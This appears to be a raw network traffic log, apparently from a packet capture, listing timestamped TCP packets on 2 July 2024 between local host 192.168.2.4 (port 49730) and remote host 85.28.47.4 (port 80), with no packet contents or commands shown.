Jul 2, 2024 15:26:07.826627016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826687098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826698065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826721907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826726913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826734066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826735973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826759100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826761961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826767921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826771021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826778889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826786041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826817989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826828003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826828957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826841116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826858997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826865911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826870918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826884031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826896906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826908112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826911926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826920033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826936960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826946974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826956987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826975107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826975107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826984882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906480074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906507969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906522989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906542063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906562090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906574965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906591892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906651020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906698942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906747103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906758070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906776905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906790018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906790972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906809092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906829119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906832933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906845093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906862020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906871080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906877995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906898022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906914949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906938076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906948090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906965971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906975985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906982899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.906985044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.906995058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.907001972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.907012939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.907023907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.907030106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.907057047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.913858891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.913914919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.913923025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.913927078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.913950920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.913961887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.913964033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.913975000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.913994074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.913997889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914007902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914005995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914026022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914043903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914068937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914079905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914098024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914103031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914113045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914119005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914130926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914138079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914156914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914169073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914176941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914187908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914206028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914211035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914218903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914223909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914242029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914247036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914256096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914259911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914273977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914283037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914606094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914621115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.914647102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.914660931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915148973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915188074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915189981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915199041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915225983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915230989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915236950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915241957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915251970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915270090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915302038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915313005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915330887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915335894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915347099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915354967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915369034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915374041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915379047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915405035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915441990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915452957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915472031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915477037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915488958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915496111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915505886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915505886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915515900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915524960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915535927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915554047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915566921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915589094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915600061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915606022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915621996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915626049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915631056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915641069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915653944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915659904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915671110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915676117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915688038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915690899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915703058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915709972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.915716887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.915743113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.916121960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.916134119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.916148901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.916157007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.916167974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.916184902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.957932949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.963145018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135518074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135555029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135577917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135590076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135595083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135611057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135626078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135643959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135644913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135644913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135658026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135668993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135679960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135680914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135705948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135705948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135719061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135731936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135739088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135747910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135761976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135770082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135773897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135793924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135795116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135808945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135812044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135823965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135829926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135854006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135857105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135863066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135879993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.135896921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.135915995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136348963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136362076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136380911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136393070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136409998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136418104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136430979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136441946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136461020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136467934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136476040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136487961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136498928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136513948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136522055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136533976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136550903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136559010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136581898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136600018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136611938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136629105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136637926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136641979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136661053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136662960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136673927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136683941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136693954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136701107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136728048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136796951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136809111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136828899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136831999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136843920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136861086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136946917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136959076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136981964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.136982918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.136993885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137000084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137016058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137022972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137038946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137039900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137053967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137062073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137069941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137077093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137094975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137099981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137109995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137124062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137128115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137142897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137146950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137161016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137170076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137193918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137202978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137212992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137231112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137240887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137243986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137259960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137267113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137270927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137293100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137293100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137303114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137316942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137329102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137341022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137367964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137394905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137399912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137408018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137425900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137429953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137442112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137444973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137459040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137465954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137475967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137478113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137497902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137501955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137511969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137515068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137531996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137532949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137541056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137548923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137558937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137561083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137582064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137583017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137595892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137680054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137691021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137707949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137711048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137721062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137732029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137732029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137742043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137747049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137763023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137770891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137778044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137784958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137800932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137809992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137820959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137828112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137835026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137845993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.137865067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.137876034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.217755079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217786074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217813969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217838049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217849970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217868090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217878103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217894077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.217899084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217914104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217935085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.217937946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217945099 CEST	49730	80	192.168.2.4	85.28.47.4
